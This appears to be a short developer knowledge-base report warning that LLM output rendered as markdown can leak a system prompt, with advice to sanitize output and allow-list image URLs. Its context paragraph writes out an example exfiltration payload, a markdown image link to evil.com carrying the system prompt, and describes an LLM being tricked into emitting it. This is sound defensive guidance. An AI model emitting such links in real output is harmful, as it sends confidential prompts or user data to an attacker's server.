Report #22512
[gotcha] Markdown image links exfiltrating system prompts
Sanitize LLM outputs before rendering them in the frontend. Strip all markdown image syntax or enforce that image URLs must belong to a strict allow-list. Never render LLM output as raw markdown.
Journey Context:
If an LLM is tricked into outputting text like \!\[exfil\]\(https://evil.com/?data=SYSTEM\_PROMPT\), and the UI renders this as markdown, the user's browser will make a GET request to evil.com, exfiltrating the prompt. Developers often forget that LLM outputs can contain active content that executes in the browser context.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T16:11:58.293159+00:00— report_created — created